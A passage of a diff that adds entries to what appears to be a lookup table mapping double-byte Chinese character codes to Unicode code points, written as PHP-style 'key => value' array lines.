+19021 => 37322, 19022 => 39280, 19023 => 27663, 19024 => 24066, 19025 => 24643,
+19026 => 23460, 19027 => 35270, 19028 => 35797, 19029 => 25910, 19030 => 25163,
+19031 => 39318, 19032 => 23432, 19033 => 23551, 19034 => 25480, 19035 => 21806,
+19036 => 21463, 19037 => 30246, 19038 => 20861, 19039 => 34092, 19040 => 26530,
+19041 => 26803, 19042 => 27530, 19043 => 25234, 19044 => 36755, 19045 => 21460,
+19046 => 33298, 19047 => 28113, 19048 => 30095, 19049 => 20070, 19050 => 36174,
+19051 => 23408, 19052 => 29087, 19053 => 34223, 19054 => 26257, 19055 => 26329,
+19056 => 32626, 19057 => 34560, 19058 => 40653, 19059 => 40736, 19060 => 23646,
+19061 => 26415, 19062 => 36848, 19063 => 26641, 19064 => 26463, 19065 => 25101,
+19066 => 31446, 19067 => 22661, 19068 => 24246, 19069 => 25968, 19070 => 28465,
+19233 => 24661, 19234 => 21047, 19235 => 32781, 19236 => 25684, 19237 => 34928,
+19238 => 29993, 19239 => 24069, 19240 => 26643, 19241 => 25332, 19242 => 38684,
+19243 => 21452, 19244 => 29245, 19245 => 35841, 19246 => 27700, 19247 => 30561,
+19248 => 31246, 19249 => 21550, 19250 => 30636, 19251 => 39034, 19252 => 33308,
+19253 => 35828, 19254 => 30805, 19255 => 26388, 19256 => 28865, 19257 => 26031,
+19258 => 25749, 19259 => 22070, 19260 => 24605, 19261 => 31169, 19262 => 21496,
+19263 => 19997, 19264 => 27515, 19265 => 32902, 19266 => 23546, 19267 => 21987,
+19268 => 22235, 19269 => 20282, 19270 => 20284, 19271 => 39282, 19272 => 24051,
+19273 => 26494, 19274 => 32824, 19275 => 24578, 19276 => 39042, 19277 => 36865,
+19278 => 23435, 19279 => 35772, 19280 => 35829, 19281 => 25628, 19282 => 33368,
+19283 => 25822, 19284 => 22013, 19285 => 33487, 19286 => 37221, 19287 => 20439,
+19288 => 32032, 19289 => 36895, 19290 => 31903, 19291 => 20723, 19292 => 22609,
+19293 => 28335, 19294 => 23487, 19295 => 35785, 19296 => 32899, 19297 => 37240,
+19298 => 33948, 19299 => 31639, 19300 => 34429, 19301 => 38539, 19302 => 38543,
+19303 => 32485, 19304 => 39635, 19305 => 30862, 19306 => 23681, 19307 => 31319,
+19308 => 36930, 19309 => 38567, 19310 => 31071, 19311 => 23385, 19312 => 25439,
+19313 => 31499, 19314 => 34001, 19315 => 26797, 19316 => 21766, 19317 => 32553,
+19318 => 29712, 19319 => 32034, 19320 => 38145, 19321 => 25152, 19322 => 22604,
+19323 => 20182, 19324 => 23427, 19325 => 22905, 19326 => 22612, 19489 => 29549,
+19490 => 25374, 19491 => 36427, 19492 => 36367, 19493 => 32974, 19494 => 33492,
+19495 => 25260, 19496 => 21488, 19497 => 27888, 19498 => 37214, 19499 => 22826,
+19500 => 24577, 19501 => 27760, 19502 => 22349, 19503 => 25674, 19504 => 36138,
+19505 => 30251, 19506 => 28393, 19507 => 22363, 19508 => 27264, 19509 => 30192,
+19510 => 28525, 19511 => 35885, 19512 => 35848, 19513 => 22374, 19514 => 27631,
+19515 => 34962, 19516 => 30899, 19517 => 25506, 19518 => 21497, 19519 => 28845,
+19520 => 27748, 19521 => 22616, 19522 => 25642, 19523 => 22530, 19524 => 26848,
+19525 => 33179, 19526 => 21776, 19527 => 31958, 19528 => 20504, 19529 => 36538,
+19530 => 28108, 19531 => 36255, 19532 => 28907, 19533 => 25487, 19534 => 28059,
+19535 => 28372, 19536 => 32486, 19537 => 33796, 19538 => 26691, 19539 => 36867,
+19540 => 28120, 19541 => 38518, 19542 => 35752, 19543 => 22871, 19544 => 29305,
+19545 => 34276, 19546 => 33150, 19547 => 30140, 19548 => 35466, 19549 => 26799,
+19550 => 21076, 19551 => 36386, 19552 => 38161, 19553 => 25552, 19554 => 39064,
+19555 => 36420, 19556 => 21884, 19557 => 20307, 19558 => 26367, 19559 => 22159,
+19560 => 24789, 19561 => 28053, 19562 => 21059, 19563 => 23625, 19564 => 22825,
+19565 => 28155, 19566 => 22635, 19567 => 30000, 19568 => 29980, 19569 => 24684,
+19570 => 33300, 19571 => 33094, 19572 => 25361, 19573 => 26465, 19574 => 36834,
+19575 => 30522, 19576 => 36339, 19577 => 36148, 19578 => 38081, 19579 => 24086,
+19580 => 21381, 19581 => 21548, 19582 => 28867, 19745 => 27712, 19746 => 24311,
+19747 => 20572, 19748 => 20141, 19749 => 24237, 19750 => 25402, 19751 => 33351,
+19752 => 36890, 19753 => 26704, 19754 => 37230, 19755 => 30643, 19756 => 21516,
+19757 => 38108, 19758 => 24420, 19759 => 31461, 19760 => 26742, 19761 => 25413,
+19762 => 31570, 19763 => 32479, 19764 => 30171, 19765 => 20599, 19766 => 25237,
+19767 => 22836, 19768 => 36879, 19769 => 20984, 19770 => 31171, 19771 => 31361,
+19772 => 22270, 19773 => 24466, 19774 => 36884, 19775 => 28034, 19776 => 23648,
+19777 => 22303, 19778 => 21520, 19779 => 20820, 19780 => 28237, 19781 => 22242,
+19782 => 25512, 19783 => 39059, 19784 => 33151, 19785 => 34581, 19786 => 35114,
+19787 => 36864, 19788 => 21534, 19789 => 23663, 19790 => 33216, 19791 => 25302,
+19792 => 25176, 19793 => 33073, 19794 => 40501, 19795 => 38464, 19796 => 39534,
+19797 => 39548, 19798 => 26925, 19799 => 22949, 19800 => 25299, 19801 => 21822,
+19802 => 25366, 19803 => 21703, 19804 => 34521, 19805 => 27964, 19806 => 23043,
+19807 => 29926, 19808 => 34972, 19809 => 27498, 19810 => 22806, 19811 => 35916,
+19812 => 24367, 19813 => 28286, 19814 => 29609, 19815 => 39037, 19816 => 20024,
+19817 => 28919, 19818 => 23436, 19819 => 30871, 19820 => 25405, 19821 => 26202,
+19822 => 30358, 19823 => 24779, 19824 => 23451, 19825 => 23113, 19826 => 19975,
+19827 => 33109, 19828 => 27754, 19829 => 29579, 19830 => 20129, 19831 => 26505,
+19832 => 32593, 19833 => 24448, 19834 => 26106, 19835 => 26395, 19836 => 24536,
+19837 => 22916, 19838 => 23041, 20001 => 24013, 20002 => 24494, 20003 => 21361,
+20004 => 38886, 20005 => 36829, 20006 => 26693, 20007 => 22260, 20008 => 21807,
+20009 => 24799, 20010 => 20026, 20011 => 28493, 20012 => 32500, 20013 => 33479,
+20014 => 33806, 20015 => 22996, 20016 => 20255, 20017 => 20266, 20018 => 23614,
+20019 => 32428, 20020 => 26410, 20021 => 34074, 20022 => 21619, 20023 => 30031,
+20024 => 32963, 20025 => 21890, 20026 => 39759, 20027 => 20301, 20028 => 28205,
+20029 => 35859, 20030 => 23561, 20031 => 24944, 20032 => 21355, 20033 => 30239,
+20034 => 28201, 20035 => 34442, 20036 => 25991, 20037 => 38395, 20038 => 32441,
+20039 => 21563, 20040 => 31283, 20041 => 32010, 20042 => 38382, 20043 => 21985,
+20044 => 32705, 20045 => 29934, 20046 => 25373, 20047 => 34583, 20048 => 28065,
+20049 => 31389, 20050 => 25105, 20051 => 26017, 20052 => 21351, 20053 => 25569,
+20054 => 27779, 20055 => 24043, 20056 => 21596, 20057 => 38056, 20058 => 20044,
+20059 => 27745, 20060 => 35820, 20061 => 23627, 20062 => 26080, 20063 => 33436,
+20064 => 26791, 20065 => 21566, 20066 => 21556, 20067 => 27595, 20068 => 27494,
+20069 => 20116, 20070 => 25410, 20071 => 21320, 20072 => 33310, 20073 => 20237,
+20074 => 20398, 20075 => 22366, 20076 => 25098, 20077 => 38654, 20078 => 26212,
+20079 => 29289, 20080 => 21247, 20081 => 21153, 20082 => 24735, 20083 => 35823,
+20084 => 26132, 20085 => 29081, 20086 => 26512, 20087 => 35199, 20088 => 30802,
+20089 => 30717, 20090 => 26224, 20091 => 22075, 20092 => 21560, 20093 => 38177,
+20094 => 29306, 20257 => 31232, 20258 => 24687, 20259 => 24076, 20260 => 24713,
+20261 => 33181, 20262 => 22805, 20263 => 24796, 20264 => 29060, 20265 => 28911,
+20266 => 28330, 20267 => 27728, 20268 => 29312, 20269 => 27268, 20270 => 34989,
+20271 => 24109, 20272 => 20064, 20273 => 23219, 20274 => 21916, 20275 => 38115,
+20276 => 27927, 20277 => 31995, 20278 => 38553, 20279 => 25103, 20280 => 32454,
+20281 => 30606, 20282 => 34430, 20283 => 21283, 20284 => 38686, 20285 => 36758,
+20286 => 26247, 20287 => 23777, 20288 => 20384, 20289 => 29421, 20290 => 19979,
+20291 => 21414, 20292 => 22799, 20293 => 21523, 20294 => 25472, 20295 => 38184,
+20296 => 20808, 20297 => 20185, 20298 => 40092, 20299 => 32420, 20300 => 21688,
+20301 => 36132, 20302 => 34900, 20303 => 33335, 20304 => 38386, 20305 => 28046,
+20306 => 24358, 20307 => 23244, 20308 => 26174, 20309 => 38505, 20310 => 29616,
+20311 => 29486, 20312 => 21439, 20313 => 33146, 20314 => 39301, 20315 => 32673,
+20316 => 23466, 20317 => 38519, 20318 => 38480, 20319 => 32447, 20320 => 30456,
+20321 => 21410, 20322 => 38262, 20323 => 39321, 20324 => 31665, 20325 => 35140,
+20326 => 28248, 20327 => 20065, 20328 => 32724, 20329 => 31077, 20330 => 35814,
+20331 => 24819, 20332 => 21709, 20333 => 20139, 20334 => 39033, 20335 => 24055,
+20336 => 27233, 20337 => 20687, 20338 => 21521, 20339 => 35937, 20340 => 33831,
+20341 => 30813, 20342 => 38660, 20343 => 21066, 20344 => 21742, 20345 => 22179,
+20346 => 38144, 20347 => 28040, 20348 => 23477, 20349 => 28102, 20350 => 26195,
+20513 => 23567, 20514 => 23389, 20515 => 26657, 20516 => 32918, 20517 => 21880,
+20518 => 31505, 20519 => 25928, 20520 => 26964, 20521 => 20123, 20522 => 27463,
+20523 => 34638, 20524 => 38795, 20525 => 21327, 20526 => 25375, 20527 => 25658,
+20528 => 37034, 20529 => 26012, 20530 => 32961, 20531 => 35856, 20532 => 20889,
+20533 => 26800, 20534 => 21368, 20535 => 34809, 20536 => 25032, 20537 => 27844,
+20538 => 27899, 20539 => 35874, 20540 => 23633, 20541 => 34218, 20542 => 33455,
+20543 => 38156, 20544 => 27427, 20545 => 36763, 20546 => 26032, 20547 => 24571,
+20548 => 24515, 20549 => 20449, 20550 => 34885, 20551 => 26143, 20552 => 33125,
+20553 => 29481, 20554 => 24826, 20555 => 20852, 20556 => 21009, 20557 => 22411,
+20558 => 24418, 20559 => 37026, 20560 => 34892, 20561 => 37266, 20562 => 24184,
+20563 => 26447, 20564 => 24615, 20565 => 22995, 20566 => 20804, 20567 => 20982,
+20568 => 33016, 20569 => 21256, 20570 => 27769, 20571 => 38596, 20572 => 29066,
+20573 => 20241, 20574 => 20462, 20575 => 32670, 20576 => 26429, 20577 => 21957,
+20578 => 38152, 20579 => 31168, 20580 => 34966, 20581 => 32483, 20582 => 22687,
+20583 => 25100, 20584 => 38656, 20585 => 34394, 20586 => 22040, 20587 => 39035,
+20588 => 24464, 20589 => 35768, 20590 => 33988, 20591 => 37207, 20592 => 21465,
+20593 => 26093, 20594 => 24207, 20595 => 30044, 20596 => 24676, 20597 => 32110,
+20598 => 23167, 20599 => 32490, 20600 => 32493, 20601 => 36713, 20602 => 21927,
+20603 => 23459, 20604 => 24748, 20605 => 26059, 20606 => 29572, 20769 => 36873,
+20770 => 30307, 20771 => 30505, 20772 => 32474, 20773 => 38772, 20774 => 34203,
+20775 => 23398, 20776 => 31348, 20777 => 38634, 20778 => 34880, 20779 => 21195,
+20780 => 29071, 20781 => 24490, 20782 => 26092, 20783 => 35810, 20784 => 23547,
+20785 => 39535, 20786 => 24033, 20787 => 27529, 20788 => 27739, 20789 => 35757,
+20790 => 35759, 20791 => 36874, 20792 => 36805, 20793 => 21387, 20794 => 25276,
+20795 => 40486, 20796 => 40493, 20797 => 21568, 20798 => 20011, 20799 => 33469,
+20800 => 29273, 20801 => 34460, 20802 => 23830, 20803 => 34905, 20804 => 28079,
+20805 => 38597, 20806 => 21713, 20807 => 20122, 20808 => 35766, 20809 => 28937,
+20810 => 21693, 20811 => 38409, 20812 => 28895, 20813 => 28153, 20814 => 30416,
+20815 => 20005, 20816 => 30740, 20817 => 34578, 20818 => 23721, 20819 => 24310,
+20820 => 35328, 20821 => 39068, 20822 => 38414, 20823 => 28814, 20824 => 27839,
+20825 => 22852, 20826 => 25513, 20827 => 30524, 20828 => 34893, 20829 => 28436,
+20830 => 33395, 20831 => 22576, 20832 => 29141, 20833 => 21388, 20834 => 30746,
+20835 => 38593, 20836 => 21761, 20837 => 24422, 20838 => 28976, 20839 => 23476,
+20840 => 35866, 20841 => 39564, 20842 => 27523, 20843 => 22830, 20844 => 40495,
+20845 => 31207, 20846 => 26472, 20847 => 25196, 20848 => 20335, 20849 => 30113,
+20850 => 32650, 20851 => 27915, 20852 => 38451, 20853 => 27687, 20854 => 20208,
+20855 => 30162, 20856 => 20859, 20857 => 26679, 20858 => 28478, 20859 => 36992,
+20860 => 33136, 20861 => 22934, 20862 => 29814, 21025 => 25671, 21026 => 23591,
+21027 => 36965, 21028 => 31377, 21029 => 35875, 21030 => 23002, 21031 => 21676,
+21032 => 33280, 21033 => 33647, 21034 => 35201, 21035 => 32768, 21036 => 26928,
+21037 => 22094, 21038 => 32822, 21039 => 29239, 21040 => 37326, 21041 => 20918,
+21042 => 20063, 21043 => 39029, 21044 => 25494, 21045 => 19994, 21046 => 21494,
+21047 => 26355, 21048 => 33099, 21049 => 22812, 21050 => 28082, 21051 => 19968,
+21052 => 22777, 21053 => 21307, 21054 => 25558, 21055 => 38129, 21056 => 20381,
+21057 => 20234, 21058 => 34915, 21059 => 39056, 21060 => 22839, 21061 => 36951,
+21062 => 31227, 21063 => 20202, 21064 => 33008, 21065 => 30097, 21066 => 27778,
+21067 => 23452, 21068 => 23016, 21069 => 24413, 21070 => 26885, 21071 => 34433,
+21072 => 20506, 21073 => 24050, 21074 => 20057, 21075 => 30691, 21076 => 20197,
+21077 => 33402, 21078 => 25233, 21079 => 26131, 21080 => 37009, 21081 => 23673,
+21082 => 20159, 21083 => 24441, 21084 => 33222, 21085 => 36920, 21086 => 32900,
+21087 => 30123, 21088 => 20134, 21089 => 35028, 21090 => 24847, 21091 => 27589,
+21092 => 24518, 21093 => 20041, 21094 => 30410, 21095 => 28322, 21096 => 35811,
+21097 => 35758, 21098 => 35850, 21099 => 35793, 21100 => 24322, 21101 => 32764,
+21102 => 32716, 21103 => 32462, 21104 => 33589, 21105 => 33643, 21106 => 22240,
+21107 => 27575, 21108 => 38899, 21109 => 38452, 21110 => 23035, 21111 => 21535,
+21112 => 38134, 21113 => 28139, 21114 => 23493, 21115 => 39278, 21116 => 23609,
+21117 => 24341, 21118 => 38544, 21281 => 21360, 21282 => 33521, 21283 => 27185,
+21284 => 23156, 21285 => 40560, 21286 => 24212, 21287 => 32552, 21288 => 33721,
+21289 => 33828, 21290 => 33829, 21291 => 33639, 21292 => 34631, 21293 => 36814,
+21294 => 36194, 21295 => 30408, 21296 => 24433, 21297 => 39062, 21298 => 30828,
+21299 => 26144, 21300 => 21727, 21301 => 25317, 21302 => 20323, 21303 => 33219,
+21304 => 30152, 21305 => 24248, 21306 => 38605, 21307 => 36362, 21308 => 34553,
+21309 => 21647, 21310 => 27891, 21311 => 28044, 21312 => 27704, 21313 => 24703,
+21314 => 21191, 21315 => 29992, 21316 => 24189, 21317 => 20248, 21318 => 24736,
+21319 => 24551, 21320 => 23588, 21321 => 30001, 21322 => 37038, 21323 => 38080,
+21324 => 29369, 21325 => 27833, 21326 => 28216, 21327 => 37193, 21328 => 26377,
+21329 => 21451, 21330 => 21491, 21331 => 20305, 21332 => 37321, 21333 => 35825,
+21334 => 21448, 21335 => 24188, 21336 => 36802, 21337 => 28132, 21338 => 20110,
+21339 => 30402, 21340 => 27014, 21341 => 34398, 21342 => 24858, 21343 => 33286,
+21344 => 20313, 21345 => 20446, 21346 => 36926, 21347 => 40060, 21348 => 24841,
+21349 => 28189, 21350 => 28180, 21351 => 38533, 21352 => 20104, 21353 => 23089,
+21354 => 38632, 21355 => 19982, 21356 => 23679, 21357 => 31161, 21358 => 23431,
+21359 => 35821, 21360 => 32701, 21361 => 29577, 21362 => 22495, 21363 => 33419,
+21364 => 37057, 21365 => 21505, 21366 => 36935, 21367 => 21947, 21368 => 23786,
+21369 => 24481, 21370 => 24840, 21371 => 27442, 21372 => 29425, 21373 => 32946,
+21374 => 35465, 21537 => 28020, 21538 => 23507, 21539 => 35029, 21540 => 39044,
+21541 => 35947, 21542 => 39533, 21543 => 40499, 21544 => 28170, 21545 => 20900,
+21546 => 20803, 21547 => 22435, 21548 => 34945, 21549 => 21407, 21550 => 25588,
+21551 => 36757, 21552 => 22253, 21553 => 21592, 21554 => 22278, 21555 => 29503,
+21556 => 28304, 21557 => 32536, 21558 => 36828, 21559 => 33489, 21560 => 24895,
+21561 => 24616, 21562 => 38498, 21563 => 26352, 21564 => 32422, 21565 => 36234,
+21566 => 36291, 21567 => 38053, 21568 => 23731, 21569 => 31908, 21570 => 26376,
+21571 => 24742, 21572 => 38405, 21573 => 32792, 21574 => 20113, 21575 => 37095,
+21576 => 21248, 21577 => 38504, 21578 => 20801, 21579 => 36816, 21580 => 34164,
+21581 => 37213, 21582 => 26197, 21583 => 38901, 21584 => 23381, 21585 => 21277,
+21586 => 30776, 21587 => 26434, 21588 => 26685, 21589 => 21705, 21590 => 28798,
+21591 => 23472, 21592 => 36733, 21593 => 20877, 21594 => 22312, 21595 => 21681,
+21596 => 25874, 21597 => 26242, 21598 => 36190, 21599 => 36163, 21600 => 33039,
+21601 => 33900, 21602 => 36973, 21603 => 31967, 21604 => 20991, 21605 => 34299,
+21606 => 26531, 21607 => 26089, 21608 => 28577, 21609 => 34468, 21610 => 36481,
+21611 => 22122, 21612 => 36896, 21613 => 30338, 21614 => 28790, 21615 => 29157,
+21616 => 36131, 21617 => 25321, 21618 => 21017, 21619 => 27901, 21620 => 36156,
+21621 => 24590, 21622 => 22686, 21623 => 24974, 21624 => 26366, 21625 => 36192,
+21626 => 25166, 21627 => 21939, 21628 => 28195, 21629 => 26413, 21630 => 36711,
+21793 => 38113, 21794 => 38392, 21795 => 30504, 21796 => 26629, 21797 => 27048,
+21798 => 21643, 21799 => 20045, 21800 => 28856, 21801 => 35784, 21802 => 25688,
+21803 => 25995, 21804 => 23429, 21805 => 31364, 21806 => 20538, 21807 => 23528,
+21808 => 30651, 21809 => 27617, 21810 => 35449, 21811 => 31896, 21812 => 27838,
+21813 => 30415, 21814 => 26025, 21815 => 36759, 21816 => 23853, 21817 => 23637,
+21818 => 34360, 21819 => 26632, 21820 => 21344, 21821 => 25112, 21822 => 31449,
+21823 => 28251, 21824 => 32509, 21825 => 27167, 21826 => 31456, 21827 => 24432,
+21828 => 28467, 21829 => 24352, 21830 => 25484, 21831 => 28072, 21832 => 26454,
+21833 => 19976, 21834 => 24080, 21835 => 36134, 21836 => 20183, 21837 => 32960,
+21838 => 30260, 21839 => 38556, 21840 => 25307, 21841 => 26157, 21842 => 25214,
+21843 => 27836, 21844 => 36213, 21845 => 29031, 21846 => 32617, 21847 => 20806,
+21848 => 32903, 21849 => 21484, 21850 => 36974, 21851 => 25240, 21852 => 21746,
+21853 => 34544, 21854 => 36761, 21855 => 32773, 21856 => 38167, 21857 => 34071,
+21858 => 36825, 21859 => 27993, 21860 => 29645, 21861 => 26015, 21862 => 30495,
+21863 => 29956, 21864 => 30759, 21865 => 33275, 21866 => 36126, 21867 => 38024,
+21868 => 20390, 21869 => 26517, 21870 => 30137, 21871 => 35786, 21872 => 38663,
+21873 => 25391, 21874 => 38215, 21875 => 38453, 21876 => 33976, 21877 => 25379,
+21878 => 30529, 21879 => 24449, 21880 => 29424, 21881 => 20105, 21882 => 24596,
+21883 => 25972, 21884 => 25327, 21885 => 27491, 21886 => 25919, 22049 => 24103,
+22050 => 30151, 22051 => 37073, 22052 => 35777, 22053 => 33437, 22054 => 26525,
+22055 => 25903, 22056 => 21553, 22057 => 34584, 22058 => 30693, 22059 => 32930,
+22060 => 33026, 22061 => 27713, 22062 => 20043, 22063 => 32455, 22064 => 32844,
+22065 => 30452, 22066 => 26893, 22067 => 27542, 22068 => 25191, 22069 => 20540,
+22070 => 20356, 22071 => 22336, 22072 => 25351, 22073 => 27490, 22074 => 36286,
+22075 => 21482, 22076 => 26088, 22077 => 32440, 22078 => 24535, 22079 => 25370,
+22080 => 25527, 22081 => 33267, 22082 => 33268, 22083 => 32622, 22084 => 24092,
+22085 => 23769, 22086 => 21046, 22087 => 26234, 22088 => 31209, 22089 => 31258,
+22090 => 36136, 22091 => 28825, 22092 => 30164, 22093 => 28382, 22094 => 27835,
+22095 => 31378, 22096 => 20013, 22097 => 30405, 22098 => 24544, 22099 => 38047,
+22100 => 34935, 22101 => 32456, 22102 => 31181, 22103 => 32959, 22104 => 37325,
+22105 => 20210, 22106 => 20247, 22107 => 33311, 22108 => 21608, 22109 => 24030,
+22110 => 27954, 22111 => 35788, 22112 => 31909, 22113 => 36724, 22114 => 32920,
+22115 => 24090, 22116 => 21650, 22117 => 30385, 22118 => 23449, 22119 => 26172,
+22120 => 39588, 22121 => 29664, 22122 => 26666, 22123 => 34523, 22124 => 26417,
+22125 => 29482, 22126 => 35832, 22127 => 35803, 22128 => 36880, 22129 => 31481,
+22130 => 28891, 22131 => 29038, 22132 => 25284, 22133 => 30633, 22134 => 22065,
+22135 => 20027, 22136 => 33879, 22137 => 26609, 22138 => 21161, 22139 => 34496,
+22140 => 36142, 22141 => 38136, 22142 => 31569, 22305 => 20303, 22306 => 27880,
+22307 => 31069, 22308 => 39547, 22309 => 25235, 22310 => 29226, 22311 => 25341,
+22312 => 19987, 22313 => 30742, 22314 => 36716, 22315 => 25776, 22316 => 36186,
+22317 => 31686, 22318 => 26729, 22319 => 24196, 22320 => 35013, 22321 => 22918,
+22322 => 25758, 22323 => 22766, 22324 => 29366, 22325 => 26894, 22326 => 38181,
+22327 => 36861, 22328 => 36184, 22329 => 22368, 22330 => 32512, 22331 => 35846,
+22332 => 20934, 22333 => 25417, 22334 => 25305, 22335 => 21331, 22336 => 26700,
+22337 => 29730, 22338 => 33537, 22339 => 37196, 22340 => 21828, 22341 => 30528,
+22342 => 28796, 22343 => 27978, 22344 => 20857, 22345 => 21672, 22346 => 36164,
+22347 => 23039, 22348 => 28363, 22349 => 28100, 22350 => 23388, 22351 => 32043,
+22352 => 20180, 22353 => 31869, 22354 => 28371, 22355 => 23376, 22356 => 33258,
+22357 => 28173, 22358 => 23383, 22359 => 39683, 22360 => 26837, 22361 => 36394,
+22362 => 23447, 22363 => 32508, 22364 => 24635, 22365 => 32437, 22366 => 37049,
+22367 => 36208, 22368 => 22863, 22369 => 25549, 22370 => 31199, 22371 => 36275,
+22372 => 21330, 22373 => 26063, 22374 => 31062, 22375 => 35781, 22376 => 38459,
+22377 => 32452, 22378 => 38075, 22379 => 32386, 22380 => 22068, 22381 => 37257,
+22382 => 26368, 22383 => 32618, 22384 => 23562, 22385 => 36981, 22386 => 26152,
+22387 => 24038, 22388 => 20304, 22389 => 26590, 22390 => 20570, 22391 => 20316,
+22392 => 22352, 22393 => 24231, 22561 => 20109, 22562 => 19980, 22563 => 20800,
+22564 => 19984, 22565 => 24319, 22566 => 21317, 22567 => 19989, 22568 => 20120,
+22569 => 19998, 22570 => 39730, 22571 => 23404, 22572 => 22121, 22573 => 20008,
+22574 => 31162, 22575 => 20031, 22576 => 21269, 22577 => 20039, 22578 => 22829,
+22579 => 29243, 22580 => 21358, 22581 => 27664, 22582 => 22239, 22583 => 32996,
+22584 => 39319, 22585 => 27603, 22586 => 30590, 22587 => 40727, 22588 => 20022,
+22589 => 20127, 22590 => 40720, 22591 => 20060, 22592 => 20073, 22593 => 20115,
+22594 => 33416, 22595 => 23387, 22596 => 21868, 22597 => 22031, 22598 => 20164,
+22599 => 21389, 22600 => 21405, 22601 => 21411, 22602 => 21413, 22603 => 21422,
+22604 => 38757, 22605 => 36189, 22606 => 21274, 22607 => 21493, 22608 => 21286,
+22609 => 21294, 22610 => 21310, 22611 => 36188, 22612 => 21350, 22613 => 21347,
+22614 => 20994, 22615 => 21000, 22616 => 21006, 22617 => 21037, 22618 => 21043,
+22619 => 21055, 22620 => 21056, 22621 => 21068, 22622 => 21086, 22623 => 21089,
+22624 => 21084, 22625 => 33967, 22626 => 21117, 22627 => 21122, 22628 => 21121,
+22629 => 21136, 22630 => 21139, 22631 => 20866, 22632 => 32596, 22633 => 20155,
+22634 => 20163, 22635 => 20169, 22636 => 20162, 22637 => 20200, 22638 => 20193,
+22639 => 20203, 22640 => 20190, 22641 => 20251, 22642 => 20211, 22643 => 20258,
+22644 => 20324, 22645 => 20213, 22646 => 20261, 22647 => 20263, 22648 => 20233,
+22649 => 20267, 22650 => 20318, 22651 => 20327, 22652 => 25912, 22653 => 20314,
+22654 => 20317, 22817 => 20319, 22818 => 20311, 22819 => 20274, 22820 => 20285,
+22821 => 20342, 22822 => 20340, 22823 => 20369, 22824 => 20361, 22825 => 20355,
+22826 => 20367, 22827 => 20350, 22828 => 20347, 22829 => 20394, 22830 => 20348,
+22831 => 20396, 22832 => 20372, 22833 => 20454, 22834 => 20456, 22835 => 20458,
+22836 => 20421, 22837 => 20442, 22838 => 20451, 22839 => 20444, 22840 => 20433,
+22841 => 20447, 22842 => 20472, 22843 => 20521, 22844 => 20556, 22845 => 20467,
+22846 => 20524, 22847 => 20495, 22848 => 20526, 22849 => 20525, 22850 => 20478,
+22851 => 20508, 22852 => 20492, 22853 => 20517, 22854 => 20520, 22855 => 20606,
+22856 => 20547, 22857 => 20565, 22858 => 20552, 22859 => 20558, 22860 => 20588,
+22861 => 20603, 22862 => 20645, 22863 => 20647, 22864 => 20649, 22865 => 20666,
+22866 => 20694, 22867 => 20742, 22868 => 20717, 22869 => 20716, 22870 => 20710,
+22871 => 20718, 22872 => 20743, 22873 => 20747, 22874 => 20189, 22875 => 27709,
+22876 => 20312, 22877 => 20325, 22878 => 20430, 22879 => 40864, 22880 => 27718,
+22881 => 31860, 22882 => 20846, 22883 => 24061, 22884 => 40649, 22885 => 39320,
+22886 => 20865, 22887 => 22804, 22888 => 21241, 22889 => 21261, 22890 => 35335,
+22891 => 21264, 22892 => 20971, 22893 => 22809, 22894 => 20821, 22895 => 20128,
+22896 => 20822, 22897 => 20147, 22898 => 34926, 22899 => 34980, 22900 => 20149,
+22901 => 33044, 22902 => 35026, 22903 => 31104, 22904 => 23348, 22905 => 34819,
+22906 => 32696, 22907 => 20907, 22908 => 20913, 22909 => 20925, 22910 => 20924,
+23073 => 20935, 23074 => 20886, 23075 => 20898, 23076 => 20901, 23077 => 35744,
+23078 => 35750, 23079 => 35751, 23080 => 35754, 23081 => 35764, 23082 => 35765,
+23083 => 35767, 23084 => 35778, 23085 => 35779, 23086 => 35787, 23087 => 35791,
+23088 => 35790, 23089 => 35794, 23090 => 35795, 23091 => 35796, 23092 => 35798,
+23093 => 35800, 23094 => 35801, 23095 => 35804, 23096 => 35807, 23097 => 35808,
+23098 => 35812, 23099 => 35816, 23100 => 35817, 23101 => 35822, 23102 => 35824,
+23103 => 35827, 23104 => 35830, 23105 => 35833, 23106 => 35836, 23107 => 35839,
+23108 => 35840, 23109 => 35842, 23110 => 35844, 23111 => 35847, 23112 => 35852,
+23113 => 35855, 23114 => 35857, 23115 => 35858, 23116 => 35860, 23117 => 35861,
+23118 => 35862, 23119 => 35865, 23120 => 35867, 23121 => 35864, 23122 => 35869,
+23123 => 35871, 23124 => 35872, 23125 => 35873, 23126 => 35877, 23127 => 35879,
+23128 => 35882, 23129 => 35883, 23130 => 35886, 23131 => 35887, 23132 => 35890,
+23133 => 35891, 23134 => 35893, 23135 => 35894, 23136 => 21353, 23137 => 21370,
+23138 => 38429, 23139 => 38434, 23140 => 38433, 23141 => 38449, 23142 => 38442,
+23143 => 38461, 23144 => 38460, 23145 => 38466, 23146 => 38473, 23147 => 38484,
+23148 => 38495, 23149 => 38503, 23150 => 38508, 23151 => 38514, 23152 => 38516,
+23153 => 38536, 23154 => 38541, 23155 => 38551, 23156 => 38576, 23157 => 37015,
+23158 => 37019, 23159 => 37021, 23160 => 37017, 23161 => 37036, 23162 => 37025,
+23163 => 37044, 23164 => 37043, 23165 => 37046, 23166 => 37050, 23329 => 37048,
+23330 => 37040, 23331 => 37071, 23332 => 37061, 23333 => 37054, 23334 => 37072,
+23335 => 37060, 23336 => 37063, 23337 => 37075, 23338 => 37094, 23339 => 37090,
+23340 => 37084, 23341 => 37079, 23342 => 37083, 23343 => 37099, 23344 => 37103,
+23345 => 37118, 23346 => 37124, 23347 => 37154, 23348 => 37150, 23349 => 37155,
+23350 => 37169, 23351 => 37167, 23352 => 37177, 23353 => 37187, 23354 => 37190,
+23355 => 21005, 23356 => 22850, 23357 => 21154, 23358 => 21164, 23359 => 21165,
+23360 => 21182, 23361 => 21759, 23362 => 21200, 23363 => 21206, 23364 => 21232,
+23365 => 21471, 23366 => 29166, 23367 => 30669, 23368 => 24308, 23369 => 20981,
+23370 => 20988, 23371 => 39727, 23372 => 21430, 23373 => 24321, 23374 => 30042,
+23375 => 24047, 23376 => 22348, 23377 => 22441, 23378 => 22433, 23379 => 22654,
+23380 => 22716, 23381 => 22725, 23382 => 22737, 23383 => 22313, 23384 => 22316,
+23385 => 22314, 23386 => 22323, 23387 => 22329, 23388 => 22318, 23389 => 22319,
+23390 => 22364, 23391 => 22331, 23392 => 22338, 23393 => 22377, 23394 => 22405,
+23395 => 22379, 23396 => 22406, 23397 => 22396, 23398 => 22395, 23399 => 22376,
+23400 => 22381, 23401 => 22390, 23402 => 22387, 23403 => 22445, 23404 => 22436,
+23405 => 22412, 23406 => 22450, 23407 => 22479, 23408 => 22439, 23409 => 22452,
